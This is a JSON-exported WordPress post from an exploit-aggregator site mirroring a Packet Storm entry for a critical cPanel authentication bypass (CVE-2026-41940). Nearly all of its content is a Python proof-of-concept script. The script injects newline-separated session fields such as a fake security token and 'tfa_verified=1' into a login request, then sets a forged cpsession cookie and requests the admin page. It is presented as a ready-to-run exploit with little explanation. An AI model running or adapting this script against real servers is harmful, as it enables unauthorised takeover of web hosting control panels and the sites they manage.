{"id":51239,"date":"2026-05-04T11:51:20","date_gmt":"2026-05-04T11:51:20","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51239"},"modified":"2026-05-04T11:51:20","modified_gmt":"2026-05-04T11:51:20","slug":"cpanel-authentication-manipulation-session-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51239","title":{"rendered":"\ud83d\udcc4 cPanel Authentication Manipulation \/ Session Injection_PACKETSTORM:220249"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T15:36:07&#8243;,&#8221;description&#8221;:&#8221;This Python script attempts to an authentication bypass against a cPanel login endpoint by crafting a modified login request and manipulating session-related data. Versions after 11.40 are affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 cPanel Authentication Manipulation \/ Session Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220249&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-41940&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : cPanel versions after 11.40 Authentication Manipulation Session Injection                                        |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.cpanel.net                                                                                           |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Python script attempts to an authentication bypass against a web login endpoint by crafting a modified login request and manipulating session-related data.\\n    \\n    [+] POC   :  \\n    \\n    \\n    import requests\\n    import urllib3\\n    import sys\\n    import time\\n    \\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    def final_badr_bank_bypass(target):\\n        target = target.rstrip(&#8216;\/&#8217;)\\n        login_url = f\\&#8221;{target}\/login\/\\&#8221;\\n        magic_token = \\&#8221;indoushka\\&#8221;\\n    \\n        server_ts = int(time.time())\\n    \\n        headers = {\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/x-www-form-urlencoded\\&#8221;,\\n            \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Firefox\/125.0\\&#8221;,\\n            \\&#8221;Accept\\&#8221;: \\&#8221;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\&#8221;\\n        }\\n    \\n        payload = (\\n            f\\&#8221;user=admin\\\\ncp_security_token={magic_token}\\\\n\\&#8221;\\n            f\\&#8221;tfa_verified=1\\\\nsuccessful_external_auth_with_timestamp={server_ts}\\&#8221;\\n            f\\&#8221;\\u0026pass=security_audit_2026\\&#8221;\\n        )\\n    \\n        print(f\\&#8221;[*] Target: {target} | Attempting to exploit Status 200&#8230;\\&#8221;)\\n    \\n        try:\\n            session = requests.Session()\\n    \\n            inject_resp = session.post(login_url, data=payload, headers=headers, verify=False)\\n            print(f\\&#8221;[+] Injection Step: {inject_resp.status_code}\\&#8221;)\\n    \\n            session.cookies.set(\\&#8221;cpsession\\&#8221;, f\\&#8221;:{magic_token}\\&#8221;, domain=target.split(&#8216;\/\/&#8217;)[-1].split(&#8216;:&#8217;)[0])\\n    \\n            admin_url = f\\&#8221;{target}\/cpsess{magic_token}\/main.html\\&#8221;\\n            print(f\\&#8221;[*] Accessing Admin Area with injected session: {admin_url}\\&#8221;)\\n            \\n            final_resp = session.get(admin_url, verify=False, timeout=10, allow_redirects=True)\\n    \\n            if final_resp.status_code == 200:\\n                print(\\&#8221;[!!!] SUCCESS:Session Promotion Achieved!\\&#8221;)\\n            elif \\&#8221;Invalid\\&#8221; in final_resp.text or final_resp.status_code == 401:\\n                print(\\&#8221;[-] Promotion Denied: Session is poisoned but integrity check rejected it.\\&#8221;)\\n            else:\\n                print(f\\&#8221;[-] Final Status: {final_resp.status_code}. (Possible WAF interference)\\&#8221;)\\n    \\n        except Exception as e:\\n            print(f\\&#8221;[X] Error: {e}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        target_addr = sys.argv[1] if len(sys.argv) \\u003e 1 else \\&#8221;https:\/\/cpanel.127.0.0.1dz:2083\\&#8221;\\n        final_badr_bank_bypass(target_addr)\\n    \\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220249&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220249\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T15:36:07&#8243;,&#8221;description&#8221;:&#8221;This Python script attempts to an authentication bypass against a cPanel login endpoint by crafting a modified login request and manipulating session-related data. Versions after&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-51239","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 cPanel Authentication Manipulation \/ Session Injection_PACKETSTORM:220249 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51239\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 cPanel Authentication Manipulation \/ Session Injection_PACKETSTORM:220249 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-04T15:36:07&#8243;,&#8221;description&#8221;:&#8221;This Python script attempts to an authentication bypass against a cPanel login endpoint by crafting a modified login request and manipulating session-related data. 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